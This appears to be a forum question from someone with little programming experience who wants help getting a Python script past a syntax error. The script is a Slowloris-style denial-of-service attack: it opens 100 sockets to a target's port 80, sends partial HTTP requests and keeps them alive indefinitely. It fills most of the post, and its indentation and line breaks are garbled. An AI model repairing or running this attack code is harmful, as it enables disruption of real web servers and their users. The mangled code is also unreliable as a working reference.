Script not running due to unexpected token error

I am trying to get this code to work

    import socket
    import random
    import time
    import sys

    log_level = 2

    def log(text, level = 1):
      if log_level >= level:
      print(text)
    list_of_sockets = []
    regular_headers = ["User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0", "Accept-language: en-US,en,q=0.5"]

    ip = sys.argv[1]
    socket_count = 100

    log("Attacking {} with {} sockets.".format(ip, socket_count))

    log("Creating sockets...")

    for _ in range(socket_count):
      try:
      log("Creating socket nr {}".format(_), level = 2)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)
    s.connect((ip, 80))

    except socket.error:
      break list_of_sockets.append(s)
    log("Setting up the sockets...")
    for s in list_of_sockets: s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
    for header in regular_headers:
      s.send(bytes("{}\r\n".format(header).encode("utf-8"))) while True: log("Sending keep-alive headers...")
    for s in list_of_sockets: try:
      s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
    except socket.error: list_of_sockets.remove(s) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(4) s.connect((ip, 80))
    for s in list_of_sockets: s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
    for header in regular_headers: s.send(bytes("{}\r\n"
      .format(header).encode("utf-8"))) except socket.error: continue time.sleep(15

)

The problem is that I get an unexpected syntax error. I am running VS enterprise, and have very little programming experience. I mostly do databases, I have some basic understanding programming, but I have become frustrated trying to get this script to run. I guess what I am really asking for here is a code review, and some some suggestions on how to get this code running. Any help would be great.